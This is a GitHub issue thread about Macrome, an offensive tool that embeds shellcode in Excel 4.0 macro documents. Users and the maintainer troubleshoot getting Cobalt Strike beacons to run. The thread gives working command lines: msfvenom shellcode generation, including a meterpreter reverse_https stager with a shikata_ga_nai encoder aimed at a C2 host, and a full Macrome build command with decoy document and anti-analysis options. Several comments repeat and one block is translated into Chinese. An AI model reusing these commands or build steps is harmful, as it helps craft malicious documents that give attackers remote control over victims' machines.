cobaltstrike about macrome HOT 18 CLOSED

I'm not sure - I've been getting reports of stuff crashing when it runs but unfortunately I can't reproduce it locally to figure out exactly what's going on. Most of the time when something crashes it's because the payload didn't write properly to memory. If I had to guess there's a 00 byte getting written somewhere and my code isn't properly escaping it. Try encoding your payload using an alphanumeric shellcode encoder if possible.

@michaelweber Mine is crashing as well. Using .Net Core 2.0.0 and also tried 2.1.0 like you've mentioned and tried alpha-numeric encoder with 0x00 bad char, no luck:

msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin

Also tried your Docs\popcalc64.bin but no results. And could not find any =GOTO you mentioned in the 2nd step.

Here is my output.xls that should pop calc.exe, but it doesn't.

Here is the exception that debugger caught, but not informative though.

from macrome.

Hmmmm, I wonder what that RegistryKey.GetValue failure is...that might be worth investigating / why multiple folks are seeing issues with CS payloads. I'll try to dig into this - CS is sort of the core payload that this SHOULD work fine with, the tool isn't terribly useful on the offense side if it won't run.

I think I need to re-do how the payload is encoded so that null bytes are allowed. An upcoming release will add an additional encoding to deal with storing the content directly in the sheet and then decrypting it using a combination of CODE lookups which should also significantly shrink the sheet size (some CS payloads I've seen blow the sheet up into being many megabytes large). That being said, it's going to probably be a bit of time before I can get that out there.

from macrome.

Apologies for the delay here folks - I just pushed a new release which should handle Cobalt Strike beacons much MUCH better (staged or stageless). I've tested on x64 + x86 machines, but I'm sure my environment isn't perfect. Give the new release a try at https://github.com/michaelweber/Macrome/releases/tag/v0.4.1. It is no longer necessary to drop null bytes.

Is it to directly generate x86 and x64 CS attack payloads? Then execute:
dotnet Macrome.dll b --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --method AntiAnalysisCharSubroutine --payload-method base64 --password VelvetSweatshop --output-file-name base64beacon.xls

is that so?

from macrome.

I'm not sure - I've been getting reports of stuff crashing when it runs but unfortunately I can't reproduce it locally to figure out exactly what's going on. Most of the time when something crashes it's because the payload didn't write properly to memory. If I had to guess there's a 00 byte getting written somewhere and my code isn't properly escaping it. Try encoding your payload using an alphanumeric shellcode encoder if possible.

If you can't encode it (or you're willing to help me improve the tool for everyone if and you're willing to trek through some debugging with me) - what I'd recommend doing is this:

1. Grab https://x64dbg.com/ - we'll use this for debugging Excel. You'll need to use the 32 bit or 64 bit debugger version depending on which Excel installation you have.
2. Open up your payload, before it runs and find the last instruction in the initial setup column (hardcoded for FE for now). It will be an =GOTO($A$1) Formula unless you've changed stuff locally. Delete the GOTO command and enable macros so the code runs.

3. Attach x32/x64 debug to your Excel instance. You'll know which version you're running based on which debug is able to see the process when you go to attach:

4. After you attach, hold F9 for a few seconds to resume all threads until Excel responds to mouse/keyboard input again.
5. Right click on cell A1 and go down to Run... and click Step Into (if it becomes unresponsive got back to the debugger and hold F9 again)
   

6. Now we're going to keep clicking Step Over until we get to a CThread or GO call. My guess is you won't see a crash happen until this point, if something does explode before you get to those calls then let me know where it dies.
7. Go back to x32dbg/x64dbg and open the memory map (Alt-M). Sort by the Protection column - we want to identify memory that's RWX and allocated at runtime - it looks something like this:

8. You'll probably only see one ERW section...but you might see multiples, just double click a section to see what's inside it. Ex: After I double clicked the 21520000 row:

9. This is the shellcode that was written to Excel - I'd suggest selecting all of it (until you see large chunks of 00s) and copying to file:

10. Now that you've done this, do a bytewise compare of the shellcode inside memory to the shellcode you provided to Macrome. If I had to guess...there isn't parity somewhere and some of the shellcode has been mucked up. Let me know what bytes aren't going through (and if it's not a major opsec failure, share the outputs with me) and I'll see if I can fix up what has gone wrong.

Anyways - I know this is A LOT of effort to do, but unfortunately short of having you ship your payload over to me I'm not going to be able to fix this. My guess is we've encountered some weird edge case where Excel treats some of the bytes as part of a formula or drops something or who knows what and there's some extra handling code that's necessary.

from macrome.

you get me wrong , i mean i can't even generate an excel file using cobaltstrike shellcode that's the problem

from macrome.

Ah - my mistake - what's happening when you try to generate the payload? Can you share the command you're running as well as stack trace that's coming out when you try to build the document?

from macrome.

here the error message when i try with cobaltstrike shellcode
Unhandled exception: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.ArgumentException: Payloads cannot contain null bytes
at Macrome.FormulaHelper.BuildPayloadMacros(Byte[] payload) in /root/Macrome/FormulaHelper.cs:line 40
at Macrome.WorkbookEditor.SetMacroBinaryContent(Byte[] payload, Int32 rwStart, Int32 colStart, Int32 dstRwStart, Int32 dstColStart, SheetPackingMethod packingMethod) in /root/Macrome/WorkbookEditor.cs:line 134
at Macrome.Program.Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, String preamble, PayloadType payloadType, String macroSheetName, String outputFileName, Boolean debugMode, SheetPackingMethod method) in /root/Macrome/Program.cs:line 204
--- End of inner exception stack trace ---
at System.RuntimeMethodHandle.InvokeMethod(Object target, Object[] arguments, Signature sig, Boolean constructor, Boolean wrapExceptions)
at System.Reflection.RuntimeMethodInfo.Invoke(Object obj, BindingFlags invokeAttr, Binder binder, Object[] parameters, CultureInfo culture)
at System.CommandLine.Invocation.ModelBindingCommandHandler.InvokeAsync(InvocationContext context) in //src/System.CommandLine/Invocation/ModelBindingCommandHandler.cs:line 68
at System.CommandLine.Invocation.InvocationPipeline.<>c__DisplayClass4_0.<b__0>d.MoveNext() in //src/System.CommandLine/Invocation/InvocationPipeline.cs:line 57
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__20_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 370
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass15_0.<b__0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 296
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass24_0.<b__0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 451
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass22_0.<b__0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 417
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__21_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 398
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__19_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 352
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__11_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 225
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__10_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 200
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass13_0.<b__0>d.MoveNext() in /_/src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 254

from macrome.

Ah - the shellcode has null bytes in it. The moment you put a null byte into an Excel cell it will terminate the cell regardless of whatever you put after it. I need to make this error message be more clear so it's obvious what the problem is.

I'd recommend following the advice at https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9 so you can get rid of the null byte and then you'll be able to use the payload.

Cheers!

from macrome.

我不确定-我一直在收到有关东西运行时崩溃的报告，但不幸的是，我无法在本地复制它以弄清楚到底发生了什么。大多数情况下，某些崩溃是因为有效负载未正确写入内存。如果我不得不猜测某个地方写了一个00字节，而我的代码没有正确地转义它。如果可能，请尝试使用字母数字shellcode编码器对有效负载进行编码。

@michaelweber 我的也在崩溃。使用.Net Core 2.0.0，并像您提到的那样尝试2.1.0，并尝试使用0x00坏字符的字母数字编码器，没有运气：

msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin

还尝试了您Docs\popcalc64.bin但没有结果。并且找不到第二步中=GOTO提到的任何内容。****

这是我的output.xls应该弹出calc.exe，但不是。

这是调试器捕获的异常，但没有提供信息。

I also encountered the same problem

from macrome.

Hmmmm, I wonder what that RegistryKey.GetValue failure is...that might be worth investigating / why multiple folks are seeing issues with CS payloads. I'll try to dig into this - CS is sort of the core payload that this SHOULD work fine with, the tool isn't terribly useful on the offense side if it won't run.

I think I need to re-do how the payload is encoded so that null bytes are allowed. An upcoming release will add an additional encoding to deal with storing the content directly in the sheet and then decrypting it using a combination of CODE lookups which should also significantly shrink the sheet size (some CS payloads I've seen blow the sheet up into being many megabytes large). That being said, it's going to probably be a bit of time before I can get that out there.

Actually not only CS payloads, Using .Net Core 2.0.0 and also tried 2.1.0 like you've mentioned and tried alpha-numeric encoder with 0x00 bad char, no luck:

msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin

This is not CS payloads, Is the content of your README.md, I use msfvenom to generate the payload that pops up the calculator, Also tried your Docs\popcalc64.bin but not Run, Excel crashes directly, How to solve this problem????? Thx

from macrome.

Facing the same problems what can be ?

from macrome.

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

from macrome.

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Did you succeed????

from macrome.

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Did you succeed????

It worked pretty well on my side

from macrome.

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Did you succeed????

It worked pretty well on my side

Did it crashed? or it get's injected into another process, thanks.

from macrome.

Apologies for the delay here folks - I just pushed a new release which should handle Cobalt Strike beacons much MUCH better (staged or stageless). I've tested on x64 + x86 machines, but I'm sure my environment isn't perfect. Give the new release a try at https://github.com/michaelweber/Macrome/releases/tag/v0.4.1. It is no longer necessary to drop null bytes.

from macrome.

That is exactly how it should work now. You should be able to do that with the staged or stageless payloads.

from macrome.

Closing this since I've now used this with Cobalt Strike beacon payloads on a number of occasions and have had no issues. Using the command line from Or3ak is pretty much exactly how you do it. The key is using the payload-method command.

from macrome.